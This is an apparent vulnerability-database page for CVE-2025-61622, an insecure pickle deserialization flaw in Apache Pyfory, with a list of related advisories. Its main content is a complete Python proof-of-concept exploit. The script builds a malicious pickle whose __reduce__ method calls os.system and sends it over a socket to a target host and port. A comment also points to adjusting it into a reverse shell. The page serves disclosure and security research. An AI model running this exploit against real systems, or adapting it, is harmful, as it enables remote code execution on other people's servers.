Lucene search
+L

πŸ“„ Apache Pyfory 0.12.2 Remote Code Execution

πŸ—“οΈΒ 03 Oct 2025Β 00:00:00Reported byΒ SK Rahimul HaqueTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 226Β Views

PoC for CVE-2025-61622 RCE in Apache Pyfory via insecure pickle deserialization.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-61622
3 Oct 202512:44
–githubexploit
circl
Circl
CVE-2025-61622
29 Sep 202512:21
–circl
cnnvd
CNNVD
Apache Fory security vulnerabilities
1 Oct 202500:00
–cnnvd
cnvd
CNVD
Apache Fory Deserialization Vulnerability
9 Oct 202500:00
–cnvd
cve
CVE
CVE-2025-61622
1 Oct 202509:55
–cve
cvelist
Cvelist
CVE-2025-61622 Apache Fory, Apache Fory: Python RCE via unguarded pickle fallback serializer in pyfory
1 Oct 202509:55
–cvelist
github
Github Security Blog
Apache Pyfory python is vulnerable to deserialization of untrusted data
1 Oct 202512:30
–github
mend
Mend
CVE-2025-61622
1 Oct 202509:55
–mend
nvd
NVD
CVE-2025-61622
1 Oct 202510:15
–nvd
osv_cve
osv_cve
CVE-2025-61622 Apache Fory, Apache Fory: Python RCE via unguarded pickle fallback serializer in pyfory
1 Oct 202509:55
–osv_cve
Rows per page
#!/usr/bin/env python3
    """
    ===========================================================================
    CVE-2025-61622 Proof of Concept (PoC)
    Author: SK Rahimul Haque
    Contact: [email protected]/https://www.linkedin.com/in/sk-rahimul-haque-51538522a/
    Date: 2025-10-03
    ===========================================================================
    
    Description:
    This PoC demonstrates the Remote Code Execution (RCE) vulnerability in 
    Apache Pyfory (versions 0.12.0-0.12.2 and legacy PyFury 0.1.0-0.10.3) 
    due to insecure pickle fallback deserialization (CVE-2025-61622).
    
    Disclaimer:
    This code is for educational and authorized testing purposes only.
    Do not use for unauthorized activities. The author assumes no liability 
    for misuse or damage caused by this script.
    
    License: MIT License (Optional: Add if applicable)
    ===========================================================================
    """
    
    import pickle
    import socket
    import os
    import sys
    
    # --- Banner ---
    def print_banner():
        banner = """
    ╔══════════════════════════════════════════════════════════════╗
    β•‘                CVE-2025-61622 PoC Exploit                    β•‘
    β•‘                 Author: SK Rahimul Haque                     β•‘
    β•‘               Educational Use Only - Do Not Misuse           β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
        """
        print(banner)
    
    # --- Payload Class ---
    class RCEPayload:
        def __reduce__(self):
            # Reverse shell command (adjust IP/port as needed)
            cmd = "id"
            return (os.system, (cmd,))
    
    # --- Exploit Functions ---
    def create_exploit():
        """Generate malicious pickle payload."""
        print("[*] Creating malicious payload...")
        return pickle.dumps(RCEPayload())
    
    def exploit_target(target_host, target_port):
        """Send payload to vulnerable Pyfory application."""
        payload = create_exploit()
        
        try:
            print(f"[*] Connecting to {target_host}:{target_port}...")
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client.connect((target_host, target_port))
            print("[+] Connection established.")
            
            print("[*] Sending payload...")
            client.send(payload)
            print("[+] Payload sent successfully!")
            
            client.close()
        except Exception as e:
            print(f"[-] Exploit failed: {e}")
    
    # --- Main Execution ---
    if __name__ == "__main__":
        print_banner()
        
        if len(sys.argv) != 3:
            print("Usage: python cve_2025_61622_poc.py <target_host> <target_port>")
            print("Example: python cve_2025_61622_poc.py 127.0.0.1 9000")
            sys.exit(1)
        
        target_host = sys.argv[1]
        target_port = int(sys.argv[2])
        
        exploit_target(target_host, target_port)

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Oct 2025 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.8
EPSS0.45125
SSVC
226